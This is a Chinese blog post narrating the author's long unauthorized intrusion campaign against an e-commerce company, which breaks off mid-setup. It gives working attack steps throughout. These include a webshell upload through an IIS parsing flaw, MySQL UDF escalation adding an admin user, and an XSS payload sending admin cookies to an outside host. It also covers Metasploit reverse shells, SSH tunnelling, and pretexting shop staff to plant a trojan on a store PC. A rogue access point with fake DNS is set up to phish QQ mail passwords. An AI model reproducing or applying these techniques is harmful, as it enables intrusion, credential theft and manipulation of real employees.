最新消息:

对某电商一次长期的APT过程

Andriod admin 4370浏览 0评论

From:AptSec Team

作者:風(Sys0p)

微博:http://t.qq.com/sb_sys0p

此次记录的一次长达一年多的APT实战,至今日,很多细节也只能靠回忆去码字了。所以很多技术方面没有记录相关图片,只能重新手打一次渗透过程。这并不是针对一次取得目标的渗透,仅仅是自己慢慢渗透之路的长途旅行。

目标是国内知名电商。因为没有具体的目标所以只是随机处理。没记错的话应该是去年三月份左右开始的。

看了下主站,

jQuery+Nginx+Linux+NoSql

端口:80

Ps:“普及下 :nosql:NoSQL=NotOnly SQL

意即反SQL运动,是一项全新的数据库革命性运动,早期就有人提出,发展至2009年趋势越发高涨。NoSQL的拥护者们提倡运用非关系型的数据存储,相对于目前铺天盖地的关系型数据库运用,这一概念无疑是一种全新的思维的注入。

缺点:NoSQL数据库同样缺乏保密性和完整性的特质。例如NoSQL数据库缺 少图式(schema),你不能在表、行或列上分隔权限并保持对数据的快速访问, 它们很少有内建的安全机制。流行的非关系数据库MongoDB的文档写 道,“验证运行Mongo数据库的一个方法是在一个可信的环境中,没有安全和认 证……当然在这样的配置中,必须确保只有可信的机器才能访问数据库的 TCP端口”。而NoSQL数据库Riak不支持认证或授权。

相比来说nosql的安全性确实不如传统的sql。这类nosql被称为非sql类数据库。不过为了处理海量的数据,扩展性和可用性是关键的数据库需求,很多大型SNS等web都转为nosql为存储数据库。”

下面看了下服务器,linux服务器很正常,所有分站都在同一服务器内。忧伤的抬头仰望天花板,默默的点上一根烟。这种站主站真心没必要看了。分站?看起来没那么容易。看下c段ip吧。

nmap -sP -PI -PT 220.161.xxx.1/255|grep for

Nmap批量扫描时误报情况还是挺严重。但不妨碍我对它的热爱。

扫描结果显示存活主机为132台。使用-p、-oX ls/20130325.xml参数来扫描系统是否运行了sshd、DNS、imapd等服务并保存结果到ls目录下存为xml。

选取好一个c段站作为渗透目标:www.xx.com

大概手工随便探测下:

php+mysql+linux

Robots.txt存在。记得当时有几个奇怪的目录,“id”“odm”“modules/node”还有常规目录data等。

随便测试了几个url。发现应该不是国内的cms。这难道是独立开发的cms? 凭着我多年的采花精验来看这是国外的cms,去群里求助下。很多有人说这是drupal cms 。这是和wp齐名的一款cms。以前只是闻其名未见其 站。这次就认真的看看相关资料。下载一套源码。

这是14年的版本,去年的已经没法截图了。大概看了下源码,好吧,我承认我不会 审计。百度下相关漏洞,发现01-30有一个漏洞。“Boxes Module ‘subject’字段HTML注入漏洞”主要是 Drupal Boxes模块不正确对”subject”字段进行HTML转义,允许攻击者利用漏洞进行跨站脚本攻击,可获得敏感信息或劫持用户会话。

简单的说就是一次转义错误,会引起XSS/CSRF exploit .看了下官方,漏洞补丁已经出来了,并且目标站也已经修补了漏洞。蛋蛋的忧伤涌上心头,菊花已经隐隐作痛了。

我选择了暂时放弃了这个目标,重新选取了一个web,天色已晚,该撸一把睡觉了。直接选取了一个开放80 3389 3306 等端口的url丢进肉鸡,开各种扫描器挂上。因为那时候还是高三,差不多每隔4天左右才能接触到一次。记录此次渗透大约是3013.03.20

一直到了月底,查看下服务器内的扫描结果。得到如下信息:

端口:80 .3389 .3306. 21

服务:iis7.0/iis.7.5+windows2003/2008+php

得到phpinfo:

jinglingshu_2014-08-31_07-29-341

可以看到是FASTCGI的运行php的,那时候很多都是iis+fastchi+php+mysql+gzip的配置。无法确定iis是7.0还 是7.5的版本,都知道7.0存在是解析漏洞。并且7.5也有类似nginx那样:任何用户可以远程将任何类型的文件以PHP的方式去解析的漏洞。

在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面加上/xx.php会将 /xx.jpg/xx.php 解析为 php 文件。解析漏洞参考:http://www.jinglingshu.wiki/?p=2174。

简单的测试下:http://www.xxx.com/images/xxx.png/test.php

jinglingshu_2014-08-31_07-29-34

我用firebug抓取头信息返回的是200 OK。初步感觉还是有戏啊。

在前台注册一个会员,来到个人中心,寻找可上传点。看了下头像那边,估计感觉是 没戏。翻了一遍之后发现一个相册的地方。这是认证会员才能使用。而刚注册用户是不可以使用的。等它一会儿又何妨?顺便整理下思路,并且用wwwscan引 用下自己上传点的字典扫描下该站的上传目录等。

jinglingshu_2014-08-31_07-29-38

得到一个上传点,老规矩看下源码吧。没发现过滤等信息,亲自测试下各种图片格式 都出错误,测试txt等成功了,说明上传输出点还是没问题的。将一张图和一个写入后门代码的文本文件合并后将一句话木马写入图片的二进制代码之后,避免破 坏图片文件头和尾部。然后操起WSockExpert。在包的这里改为:

Content-Disposition:form-data;name="filelx";filename="C:\ls.png"

这样的之后访问。www.xxx.net/ls.png/ls.php 就能得到www.xxx.net/ls.php的文件。

理想是好的,现实总是很残 酷,提交之后测试了下显然是失败了。是上传点问题?没有突破上传图片马儿?还是被杀了?继续默默的点上一根烟。准备等会员认证后在相册那边测试下…..过 了一天半重新看这个站的时候我已经是认证了,立刻来到个人中心找到相册照片的上传地址。先上传随便一张图片,测试成功,查看并得到图片地址。兴奋的直接上 传了配置好的一句话图片马儿。Ok上传成功,访问url成功返回200的信息头,直接连接菜刀。看来之前那个上传点还是存在问题的。

jinglingshu_2014-08-31_07-29-381

    F:\xy\xxxy\jsjzc\>set
    [Err]ActiveX component can't create object
    F:\xy\xxxy\jsjzc\> net user
    [Err] ActiveX component can'tcreate object
    F:\xy\xxxy\jsjzc\>ipcinfig
    [Err]ActiveX component can'tcreate object
    F:\xy\xxxy\jsjzc\>

简单的测试下,发现菜刀内的cmd压根不可用。说不定组件被删除了吧。拿到shell之后就是提权了。

简单看了下意外的发现服务器 竟然支持aspx,不知道管理员哪根筋出了问题。顿时感觉提权很有希望了。根据之前看的端口是21 3389 3306 80 。可以知道开放了ftp和 mysql。那么有了二种思路,一种是mysql提权也就是udf或者mof。第二种就是ftp提权。

准备休息下第二天开始提权……

翻了翻数据库之后找到了数据 库帐号和密码。很遗憾,不是root权限。有点纠结了,用自带的shell连接mysql之后测试了几个常规查询语句,发现只有查询版本语句可以使用,说 白了权限就是很小了。试想下root密码可能会是什么,后台管理员的密码?服务器密码?那么从管理员密码下手吧,直接脱裤下来,导入vm下的mysql, 用mysql打开后得到管理员的帐号和密码。Md5虽然是收费不过不必在乎这些细节。得到密码之后我迫不及待的用root账户尝试登录,但是失败了。正所 谓欲速则不达!静下来,仔细想想。从一系列设置看出服务器(网站管理员)的安全意识是很差的。我记得当时的密码是域名加2009。突然我听到了苍老师对我 的呼唤,直接去查下域名的whois,果不其然。2009是域名建站的日期。那么他设置数据库密码又会以什么样的格式呢?我自己猜想下:

域名+2009  域名+2010 域名+2011 域名+2012 或者就是反格式比如:2009+域名

我不厌其烦的都尝试了,但结果依然不尽人意。暂时先放着。

看看其他的方式吧。

看了下组建:

允许使用 URL 打开文件 allow_url_fopen No
允许动态加载链接库 enable_dl Yes
显示错误信息 display_errors Yes
自动定义全局变量 register_globals No
magic_quotes_gpc No
程序最多允许使用内存量 memory_limit 100M
POST最大字节数 post_max_size 8M
允许最大上传文件 upload_max_filesize 8M
程序最长运行时间 max_execution_time 30秒
被禁用的函数 disable_functions No
phpinfo() Yes
目前还有空余空间diskfreespace 17912Mb
图形处理 GD Library Yes
IMAP电子邮件系统 No
MySQL数据库 Yes
SyBase数据库 No
Oracle数据库 No
Oracle 8 数据库 No
PREL相容语法 PCRE Yes
PDF文档支持 No
Postgre SQL数据库 No
SNMP网络管理协议 No
压缩文件支持(Zlib) Yes
XML解析 Yes
FTP Yes
ODBC数据库连接 Yes
Session支持 Yes
Socket支持 Yes

突然想到,之前因为菜刀内的 cmd无法执行,那么并不代表shell也无法执行啊,果然来到了cmd执行,发现可以执行dir 等命令,net user 这些命令无法执行。很正常 不过了。因为之前猜数据库密码时错误,所以还是固执的决定读取vbs。因为之前意外的发现支持aspx,所以直接上传了aspx的马儿。然后 用|“cscript.exe+iisgetpass.vbs”这对组合直接读取出网站用户的配置信息和密码。让人高兴的是读取出了ftp的密码,当时密 码是什么我已经记不得了。尝试登录下ftp。Ok成功的。这时我发现ftp密码的格式却让我很有兴趣。Pass:“ftp+域名”的这种格式,继续猜测下 mysql密码难道是:“mysql+域名”?尝试登录下还是错误。突然想到会不会反过来呢?“域名+mysql”。小心的尝试登录下,ok正确。有时候 渗透并不是很难,需要的只是你的细心。接下来就是udf提权了,简单的说下udf提权的方法了,相比到现在应该大家都会了。开始看下权限,发现是 system的权限,挺好,起码没有被降权。Neuuser等命令也可以成功执行。 因为5.0以下的要导出到c:\windows\   或者c: \windows\system32目录下 

而5.1必须要导出到mysql安装目录下的lib\plugin目录下。在执行sql
select @@basedir;由于是mysql版本5.1的  所以要导出到D:/Program Files/MySQL/MySQL Server 5.5/lib/plugin

然后执行CREATE TABLE udftest(udf BLOB);     创建一个临时表然后把udf.dl转换为hex代码  然后插到这个表里面
执行SQL: INSERT into udftest values (CONVERT(这里写你的UDF的HEX编码,CHAR));

SELECT udf FROM udftest INTO DUMPFILE ‘D:/Program Files/MySQL/MySQL Server 5.5/lib/plugin//udf.dll’;–
执行DROP TABLE udftest;  /删除临时表 数
create function cmdshell returns string soname ‘udf.dll’  /创建CMDSHELL函
select cmdshell(‘net user xxx xxx /ADD’);  /你该懂了

Ok 最后是成功提权得到了服务器。又该休息了,成功告一段落!

jinglingshu_2014-08-31_07-29-40

第一部分结束,下面是第二部分的内网渗透过程。

对某电商一次长期的APT过程(二):

很快到了4月份了,在这之前看了一些内网渗透的相关文档,虽然知道这次内网渗透之旅会以失败告终,但还是决定去尝试一下。

Windows 下的内网渗透,操起神器cain。

在这之前简单的看下相关信息,获取域用户以及工作组、查询本机IP段,所在域等

查询同一域内机器列表、查询域列表等信息。

简单的普及下相关知识:

——————————  常见信息收集命令———————————-

   net user                   ——> 本机用户列表

   net localgroup administrators  ——> 本机管理员[通常含有域用户]

   net user /domain     ——> 查询域用户

   net group /domain  ——> 查询域里面的工作组

   net group “domain admins” /domain  ——> 查询域管理员用户组

   net localgroup administrators /domain  ——> 登录本机的域管理员

   net localgroup administrators workgroup\user001 /add  —–>域用户添加到本机

   net group “Domain controllers”   ——-> 查看域控制器(如果有多台)

   —————————————————————————————-

   ipconfig /all            ——> 查询本机IP段,所在域等

   net view                  ——> 查询同一域内机器列表

   net view /domain   ——> 查询域列表

   net view /domain:domainname  —–> 查看workgroup域中计算机列表

 ——————-第三方信息收集—————–

 NETBIOS 信息收集工具

 SMB信息收集

 空会话信息收集

 端口信息收集

 漏洞信息收集

……

  1. 内网环境下先查看网络架构。例如 网段信息 域控 DNS服务器 时间服务器 2.收集到了足够多的信息可以扫一下开放端 口 21 22 80 8080 443等确定敏感信息,以及之后渗透的方向 3.通过以上信息进行一定的弱口令尝试,针对特定的软件做banner采集 利用,snmp测试读取和写入权限 4.进行一些提权操作,从横向和纵向对目标服务器进行渗透。 5.注意ids和一些出口控制的绕过预警提示。 

通常就是拿到某个域管理员的口令,然后控制域服务器,从而获取更多的信息.
如何获取域管理员口令等,做法可能各不相同.

Ok,根据已经获得的相关信息,去配置cain准备开始嗅探的路程。(windows下的内网嗅探实在无可写之处,这里简单略过)接下来就是漫长的等待ing、、、、、

第二天登录服务器之后,看了下结果。有了三台服务器。看来是没什么收获了。记录下相关信息,再次清理下相关痕迹,虽然使用了vpn和跳板。但是终究还是安全第一。又过了几天,再次准备去看看结果。但是发现我的账户已经无法连接了,淡定~~~意料之中而已。

天真的管理员难道真以为本少就一种方法拿下你的服务器吗?少年,你太天真了。

之前拿站的时候和强哥聊过一次,后来强哥也给我指点了几个思路,其中一个就是通过php漏洞来渗透,目标站点是5.2.9的php版本。强哥给我一个地址:http://www.venustech.com.cn/NewsInfo/124/6459.Html

危害:
远程攻击者可以利用漏洞执行任意代码

jinglingshu_2014-08-31_07-38-07

看起来厉害的样子。这也是我第一次利用php漏洞来进行渗透,在渗透期间强哥也给我讲了很多并且表示和我一起渗透。从强哥那边拿到一份poc,这份poc是他修改过给我的,原版据说有个什么错误,这里就一概而过了。

jinglingshu_2014-08-31_07-38-06

直接在本机cmd下用nc反弹个shell回来:

Nc v v l p 4444

直接利用exp进行提权服务器。回到服务器之后发现我的cain已经不在了,并且服务器安装了一个360…淡定,果然360是万能 的。这时候对这台windows服务器已经没有爱了…..暂时先放着吧!过了几天之后强哥给我电话,兴奋的和我说拿下了一个主站的一个二级域名。

听到这句话之后我瞬间就勃起了。对于一个大型网站来说渗透思路主要对于子域名渗透或者就是通过IP段收集的信息进行渗透,通常来说一个子域名都是和主站在同一个内网之中。

据强哥说,目标站是一个wp改编过的一个交互式信息发布站点。通过wpscan扫描发现一个存在存储型漏洞的插件,真实应了一句话:“功能越多,安全隐患越高。”在站点search框可直接插入xss exploit ,打到了管理员的cookie值。

语句:

<script>new Image().src=”http://www.aptsec.net/ls.php?cookie=”+document.cookie; </script>

管理员在执行后台:User Searches时该xss就会自动执行并且在服 务器内就能接受到cookie值。修改下cookie值成功进入后台,wp站点的拿shell也不用多说了。将马儿放进主题包,通过上传主题,wp- content/themes/wawa/ls.php即可得到一个webshell。

这是一台linux服务器,开放端口是80 3306 49654 。内核版本是2.6.14 ,用的是debian系统。

我翻了翻硬盘里的exp文件夹,除了各种.avi之外并没有发现2.6.14内核的exp,强哥表示他没有收集exp的习惯。只能去群里问问了,最终群里有个朋友手里有这个exp,直接要了一份过来,是一份编译好的exp,正好省的再次编译了。

在本地用nc尝试获取一个交互式shell,但是发现失败了。难道是要映射端口或者说是对方路由问题?直接开笔记本(BT5),打开msf,利用msf来反弹shell。

msf>msfpayload php/reverse_php LHOST=ip LPORT=4444R>ls.php

成功得到ls.php上传到webshell内

msf > use multi/handler

msf exploit(handler) > set PAYLOAD php/reverse_php

msf exploit(handler) > set LHOST ip

msf exploit(handler) > set LPORT 4444

msf exploit(handler) > exploit

设置万multi/handler 板块的相关参数之后。直接inks:xxx.xxx.com/ls.php 访问之前生成的ls.php直接得到一个shell。

然后就是上传exp到tmp目录下,赋予执行权限后执行exp。成功得到服务器的权限。

看了一下服务器的端口信息,发现49654是运行的ssh。为了方便还是转发下ssh的端口,

语句:

ssh -o ‘StrictHostKeyChecking no’ -R 49654:127.0.0.1:49654 -p 53 “ip” ping 127.0.0.1

在创建一个socks代理,这样我直接通过这个代理来访问目标网络里的服务了

这台服务器暂时已经是不会被发现什么问题了,安心的告一段落。休息一段时间并整理下接下来的内网渗透思路,成败皆在于此了。

这几天偶然在强哥“精”疲力尽的时候讨论下接下来内网的渗透思路。总而言之还是安全第一,毕竟这不是普通企业的内网。说不定各种ips就让人蛋疼了。

对于这次针对性的目标渗透,前期的信息收集是很重要的一步,要处理的内容会比一般渗透要多得多,精准的信息收集在内网渗透中实在是太重要了。有了详细的信息才能进一步的search和exploit。

一般内网都是抓取各种hash,尝试利用弱口令来渗透。众所周知,在内网中弱口令还是普遍存在的漏洞,无论大型内网还是普通内网,这点几乎都是存在的。其余的邮件监控、社工分析也是必不可少的步骤,虽然相对来说会很消耗时间。

这里直接使用了一份py写的内网信息收集程序。感谢互联网上总是有一群在无私奉献的朋友们。

由于代码多长,索性直接列出网盘下载,给有需要的朋友提供便利。

URL:http://pan.baidu.com/s/1bnjbo9D

jinglingshu_2014-08-31_07-38-08

主要内容是:1、获取主机信息+dns域传送漏洞利用+root口令嗅探(需要自己调用下代码)

    2、获取内网网段收集+存活ip判断(多线程)+常用端口扫描(多线程)

   3、linux下的语法有些报错、linux下的ip存活判断有些问题

说实话,我的内网渗透一直是个渣渣的水平。如果说前期渗透算是小有成就,那么我的内网就是一无是处了。

经过各种前期的信息收集,虽然还是有些不详细,毕竟我还是一只菜鸟。

是dmz的环境,也就意味着和外网是隔离的环境,后来仔细的看了下,不过他的路由器总汇中允许ICMP包复用,icmp存在DMZ接口上。那就是dmz是可以访问外网的。dmz是连接到PIX防火墙的路由器,VLAN可以连接到dmz区,但是反向连接被禁止。

不过rootkit会时不时的就会断开,那应该是存在监控了。

jinglingshu_2014-08-31_07-38-10

用Wireshark查看下网络的封包列表

jinglingshu_2014-08-31_07-38-13

可以看到有些ip地址已经被过滤了。

而我这边针对收集的信息进行整理然后尝试扫描相关漏洞,首先就是端口扫描,对整个ip段的端口:1433 3306 等进行扫描。 然后利用收集的信息和常规密码组成一个字典进行一次弱口令扫描。很遗憾的是只有一台windows服务器的sql server存在弱口令,那么直接拿下 这台windows服务器,手贱的尝试登录下,发现无法登录,我去找强哥问问这是什么情况,然后我就是被强哥一顿臭骂,被骂的体无完肤啊。因为这台 linux的机器我们是通过socks代理来访问的,而我们并不清楚该内网存在什么样的监控,某些ip段是否能够访问一些重要服务器都没有调查清楚就轻易 的去尝试连接,这次应该是被登录监控系统记录了。没办法,只能默默的退出了内网。看来得消停一段时间了……

后来过了好久,我和强哥都没有在进一步的进行渗透,我们都明白如果对方真的计较不放的话,我们还没有到无视wj的地步。可以说这次 渗透已经从web这块结束了,但并不是一次apt就这么结束了,接下来的时间我有二次现实中的社工以及无线渗透的经历,也尽可能的回忆当时大部分的过程能 够详细的写出来。

第二部分结束,下面是第三部分的社工和无线渗透方面的过程。

继上次的web及服务器方面的渗透失败之后,已经到了13年六月份,那时候是暑假时间,正好有一天一个朋友想去买一台笔记本电脑,在我心里谋划已久的计划正好趁这次可以实行了。

为什么和买电脑有关呢?这次目标是传统家电、消费电子、百货、日用品、图书、虚拟产品等综合品类企业。并且也是我们本地最大的计算机平台购买地,我和朋友说去某电商去看看吧,朋友愉快的答应了我。

通过百度了解到该企业在电器这块 的相关信息,该电器商务分为:旗舰店、社区店、专业店、专门店。而我们这次去买电脑的地方就是旗舰店。旗舰店也是一块地区的中心店,是一块地区规模最大, 品种最全的店铺。从权限方面来将,旗舰店在总企业当中的相关权限也是众多店中最大的。这次的目标就是通过社工以及无线嗅探拿下该旗舰店的相关信息。

经典的Google极光攻击的APT过程就是一次典型,通过得到员工计算机并且持续嗅探得到相关信息从而渗透进谷歌内网。

而这次的目的就是渗透进该旗舰店所拥有的内网从而进一步渗透目标。

我的大体思路是:自己伪装成一名 想要在该旗舰店购买笔记本电脑的人,并且通过和服务员以及店长的一些交谈获取相关信息,这次作为踩点。继而通过该店试用电脑植入木马,并且用无线破解,无 线渗透等综合技术取得该旗舰店内网权限,得到该内网机器权限后持续嗅探,看能否获得敏感信息而进一步渗透。

以下我称呼为:A 我朋友为:B 该店员从店长依次分为:C1 C2 C3….

在一个阳光明媚的中午,A和B来到了该旗舰店,C2来接待A和B。并且询问A和B来该店的目的,当即,B表示来买笔记本电脑,而A来作为参考。A表示未选定具体机型,需要在店内看看机型。C2让A和B慢慢看电脑,有事找CX。

A让B自己先去看看有没有中意的 外形,趁此段时间,A仔细分析该旗舰店分部情况。从C的工牌看出C2只是一名购买向导,而付款区有C4和C5。嗯,妹子还是不错的…..咳咳,回到正题。 A在一块分布区看到一台试用的台式电脑,并且拿出手机搜索下该区域的WIFI。A搜索到二个热点。一个几乎满格信号,还有一个是半格信号,为了印证猜想。 A走出该店并且一直观察信号变化,一直到离开该店后第一个热点信号有明显降低,而第二个热点信号在持续上升,可以得到第一个wifi热点为该店的 wifi。而该店内店员又是否使用该wifi连接上网?

A为了解决这个疑惑,很happy的去和付款区的C3妹妹亲切的交流了感情。

A:你们店有wifi吗?我的卡信号不好耶,要是有个wifi就好了。

C3:有啊,你搜索下有个名字是:XXX的就是我们店的wifi。密码是:xxxxx

A:谢谢你啊,我连接下试试。

A拿出手机找到了这个名字,并且 拿着手机给C3看下是否是这个热点,得到了C3的肯定后连接了wifi。并且用手机登录:192.168.1.1 尝试默认帐号密码:admin登录。果 然成功登录了路由器。是TP-LINK的路由器。这时候该故意找借口询问店员手机及电脑是否也使用了wifi。

A:唉,wifi的速度有点慢啊,看看新闻都是好慢,你们wifi用的人很多吗?

C3:不是很多啊,这时店内客户也不是很多,平常都是我们店员在使用这个wifi。

通过观察付款区,发现PC1是结账电脑,PC2是一台笔记本,看样子是店员自己使用的。

A:这样啊,看来是我手机出问题了,呵呵。

A:对了,你用的这台笔记本挺好看的,是什么牌子的啊。

C3:这不是我用的,这是我们店长的笔记本,他本人现在不在。

A:这样啊,我看这台笔记本就是挺好的,能不能给我看看,我也介绍朋友买这台笔记本。

这时可以看到C3略有犹豫,因为笔记本并不是她本人的,但听到有生意来了,短暂的犹豫后就同意了。

C3:那我拿给你看看吧,你感觉怎么样,这台笔记本我们店现在正好在搞活动,原价xx的现在只要xx。

A:嗯,好的。我先看看怎么样。可以的话我给我朋友推荐下这款。

A拿到笔记本后将屏幕背对着 C3。随便的看看笔记本的外形等,因为背对着C3,所以快捷键打开了DOS模式,快速的查看下内网ip等信息,并且发现,该笔记本右下方有一块wifi连 接的标志。并且惊讶的发现该笔记本并没有装防火墙和杀毒软件,看来这款笔记本确实是新款出来没多久啊。简单的记下该内网ip地址。然后又随便的浏览下网页 之类的操作。过了一段时间将笔记本还给了C3

C3:感觉怎么样

A:感觉还是挺好的,就是有点小了,我朋友是男生,不过我还是给他介绍下这台笔记本,可以的话就直接找你买了。

这个有个小细节的方面,大家应该都知道在这种类似的店里,凡是店员推销出去的产品都是有提成的。A没有说在你们店买,而是说找C3买。这就是卖一个“提成”给C3。

C3(犹豫了一段时间):你要是买的话,找C4。我和她很熟。

A估计C3只是收款员,并不参与提成活动,而将这个机会给了她的朋友C4

A(似懂非懂的笑笑):ok,那就这样。我去和我朋友聊聊。

虽然这是短暂的交流,但A和C3却结识了革命的友谊。

A离开C3,和B交谈了一会,问问情况怎么样。B取笑A在搭妹子,凡人啊,不懂A的良苦用心,虽然A确实有搭妹子的目的,咳咳…

A随便的逛了一圈之后,来到了 PC试用区,这里的电脑都可以免费给用户使用,并且每台电脑都是连接互联网的,A刚玩电脑的时候,C2就来询问A是否对这台电脑有喜好,并且向A介绍了该 电脑性能和价格之类的。A友好的向C2笑笑并回答:暂时只是看看。A想查看下该电脑的相关信息并且准备植入木马,但是C2却时不时的向A的方向看看,可能 是A长的比较帅气吧,,,|“特么的谁打我”。

A必须想个办法支开C2才能实行 他的计划,A突然想到在这种店里其实都有个最低价的,也就是上面给旗舰店作为给“熟客”的最低价格,并不是以明码上的标价为主,A让C2过来,并且说个型 号,让C2去总台PC那边查询下最低价能给多少。C2感觉有生意要来,很愉快的去查询价格了。这时A打开dos界面,首先看到这台pc是用的以太端口,几 乎可以肯定使用的是该旗舰店的内部网络。查看下ip信息,发现和之前在C2看的笔记本ip有些相似,但可以肯定并不是同一个内网。因为在销售台试用的电脑 都是不装防火墙之类的产品,所以A直接用浏览器打开自己的FTP空间,里面是A存放木马和“收件”的空间。下载一个远控木马在本机运行,直接控制了该内网 的一台pc。而A对C1的笔记本权限很感兴趣,感觉控制了那台笔记本之后会得到自己想要的信息。但今天的目的却已经达到了,接下来就是回家之后看看该内网 的权限了。

A去找到B询问下是否有中意的款式,却得到了B的否定,A和B相约明天在来看看。A走的时候和C3要个QQ联系方式,理由是:xxx (我告诉你们干嘛?)

==========分割==========

以上的事我想以故事的形式写出来会更有阅读感,我会到家之后,添加了妹子的QQ好友,简单的说明下身份,因为妹子还没有下班,所以准备晚上在和妹子谈谈人生理想抱负什么的。

因为我平时几乎是不玩远控的,所 以远控内只有我的服务器,所以很轻易的辨别出今天下午控制的一台PC。直觉告诉我,这台PC所获得的内网权限对我而言能获得的用处会很小很小,这应该就是 给试用PC而准备的内网,并且该PC所处位置是公用的,所以并不适合大规模的有所动作。所以暂时放弃了这台PC,不过权限是必须保留的,我知道这种试用 PC很长一段时间才会重装下系统,所以并不担心权限会丢失之类的。

寂寞的抽根烟之后,应该构思下如何获得C1笔记本的权限。

1:通过在U盘内存放木马并且自动执行,然后使用摆渡式攻击。

Ps:摆渡式攻击,简单的介绍下:就是在目标PC上的可移动储存设备上存放木马并且设置自动执行,最后导致目标的移动储存设备变为可移动的“木马”。从而控制更多目标所拥有的PC.

2:控制无线网络,对目标实行钓鱼攻击。

3:等待目标连接以太网,通过以有的内网权限控制目标PC

4:暂时没想到

第一种方法成功率并不是很高,首先对付摆渡攻击仅仅关闭自动播放功能就能阻止了。

第三种的周期实在太长,我也不可能每天都会去关注。

所以最后只有第二个方法了,渗透进无线网,伪造自己的AP热点,诱使目标登录自己的热点,通过更改常用邮箱的host,诱使目标登录自己更改的host钓鱼地址,记录该用户邮箱帐号和密码。

晚上闲着无聊,出去看看妹子散散 心。吹着风想着怎么能从妹子那边获得一些关于C1的信息,要不约出来喝杯茶?来到了一个本地档次较高的休闲茶馆后给妹子的qq发个信息,表示我一个人在茶 馆想找妹子聊聊。过了一段时间,妹子表示刚吃饭完可以出来喝杯茶,又等了快半小时,妹子终于来了。

我:晚上出来散散心,想找你出来一起聊聊天

妹子:我晚上也挺无聊的,正想着出来玩玩呢

我:你们上班辛苦吗?

妹子:还可以,每天就是收款就好啦

我:我记得你和你们店长是一起收款的吧

妹子:店长有时候出去联系下货源这些事,其余都和我在一起收款之类的。

我:哦,这样啊。今天都没看到你们店长呢,他平时基本都不在店里吗

妹子:你来的那时候他出去联系货源了,所以正好不在。平常都是在店里的

*/ 我现在大概知道了店长一般的作息时间,现在还需要知道该店长使用的是什么邮箱,我故意拿出手机,随便给朋友发个信息。很快手机“响了一声”,朋友询问我什么意思 */

我:嘿,我朋友真有意思,在做一个市场调查。问现在工作的人都用的是什么邮箱,你平常用邮箱吗? (因为借着手机响了一声,所以有个话题引出我的疑问)

妹子:一般都是不用了,不过店里有什么事情,比如货源之类的都是用的邮箱联系的。

我:哦?这样啊,正好我朋友想做个调查,可以说说你们都用什么邮箱吗?

妹子:我一般用的都是QQ邮箱

我:那你们的同事都用的什么呢?

妹子:好像也基本都是QQ邮箱吧,至少店长和我朋友都是,其余的就不清楚了。

我:ok,谢谢你拉。正好帮我朋友一个小忙。

妹子: xxx

接下来又是一丢瞎扯,主要目的还是为了给妹子留下一个良好并且值得信任的形象。为了得到这几个问题,花了我不少软妹币,心疼啊。最后和妹子表示常联系。并且明天会去店里找妹子玩儿。

晚上回家后和朋友借了下无线网卡,然后在笔记本上重装了bt5。Bt5内集成的无线渗透工具,很是方便。

以下过程为实战内容,并不方便记录图片等文档,所以以下所出现的图片是我本机重新演示一遍的过程。

我的主要思路是:伪AP+伪DHCP+伪DNS+钓鱼页面+获取明文帐号密码
第二天我和朋友再次来到店内。在路上我和他模糊说下我的想法,并且让他配合我。朋友很愉快的答应了。
刚来到店内再次观察下环境,发现店长的位置有了一个人,大概一个30多岁的妇女。和CX随便的客套一些话之后,走到C3所在区域和C3愉快的聊了一会。并且表示自己一个人去角落处理一些文档。
我走到一个相对比较偏僻的角落,打开笔记本,准备开始我的无线渗透之路。
这里前期的伪AP热点需要用到airbase-ng这款工具。airbase-ng这款工 具的功能有很多,比如:执行针对WEP加密的牛奶咖啡(Caffe Latte Attack)的客户端攻击 、执行针对WEP加密的牧羊人(Hirte)客户端攻击、WPA/WPA2握手信息的捕获能力…..
这里我们只要使用到伪Ap热点的功能就够了,也很简单。

ifconfiga查看当前网卡情况
ifconfig wlan1 up激活你的无线网卡
airmonng start wlan1将你的无线网卡开启“Monitor”模式
airbaseng mon0e“原热点的名称”c6
这 里我们创建的是不需要密码的公开AP,为什么不加密呢?首先因为C1的笔记本如果wifi断开之后,C1肯定会尝试重新连接。而笔记本电脑都是有保存 wifi密码的功能,不再需要重新输入热点密码,而如果建立了密码反而会让目标产生怀疑,而公开的ap主要点在于ssid的正确,有句话是这么说 的,ssid决定ap的欺骗性。
创建了热点之后就是创建和配置DHCP了。并且要保证:C1在连接我的伪AP之后,热点需要给它分配IP地址、DHCP配置文件中的DNS服务器IP要设置成我的伪DNS地址、
伪AP的IP地址和Internet接口的IP地址不能在网一个段。
第一步将网卡配置成静态ip:
vi/etc/network/interfaces
auto eth0
#iface eth0 inet dhcp
iface eth0 inet staticaddress192.168.1.254gateway192.168.1.2netmask255.255.255.0ifdowneth0
ifup eth0
vi/etc/resolv.conf
nameserver192.168.1.2
下面就是安装DHCP:
#:apt-get install dhcp3-server
#:vi /etc/default/dhcp3-server
INTERFACES=“at0”
#:cp /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf_backup
#:vim /etc/dhcp3/dhcpd.conf

然后就是配置“默认网关”、“地址池 ”、“默认DNS”、“广播地址”

这时我犹豫了下,因为接下里我需要启动ap热点激动网卡之后才能启动dhcp服务。而现在启动热点感觉是有点早了,应该是进入路由器之后关闭原热点之后才能启动我们伪装的AP热点。但现在只能这样了,希望不会出什么差错吧。

接下来就是对于DHCP服务的开启,需要注意的是之前设置的默认网关是什么,热点的ip也必须是一样的。

ifconfig at0 ip netmask255.255.255.0
route addnet ip netmask255.255.255.0gw ip
#:/etc/init.d/dhcp3-server restart
#:/etc/init.d/dhcp3-server start

接下来就是做一次流量牵引,这里使用Iptables这款工具。

将之前绑定的网卡流量引到出口网卡ETHX中,这样用户才能正常的上网浏览。

#:iptables -t nat -A POSTROUTING -s ip/24 -o eth0 -j SNAT –to-source 192.168.1.254
#:iptables -t nat -A PREROUTING -d 192.168.159.254 -i eth0 -j DNAT –to 10.0.0.100
上面的参数主要就是对AP做一次NET牵引到ethx出口网卡这边的流量。
(解释起来好复杂,有疑问的朋友可以给我留言)
这里就需要用到apache来配置之前准备好的钓鱼页面,昨晚我就已经配置好了一个QQ邮箱登录界面的钓鱼页面。用户登录的帐号和密码直接保存到我的远程服务器当中。
# /etc/init.d/apache2 start
# cd /var/www/xxx // 进入网站目录
给我们钓鱼页面配置一个ip。要和刚才我们在dhcp配置文件里面分配的ip段同网段。
然后启动msf。
使用msf模拟一个DNS服务器,并且使目标登录我们伪AP之后登录mail.qq.com会显示我们配置的钓鱼页面。
jinglingshu_2014-08-31_07-49-16
msf>useauxiliary/server/fakedns
msf  auxiliary(fakedns)>show options
Module options(auxiliary/server/fakedns):
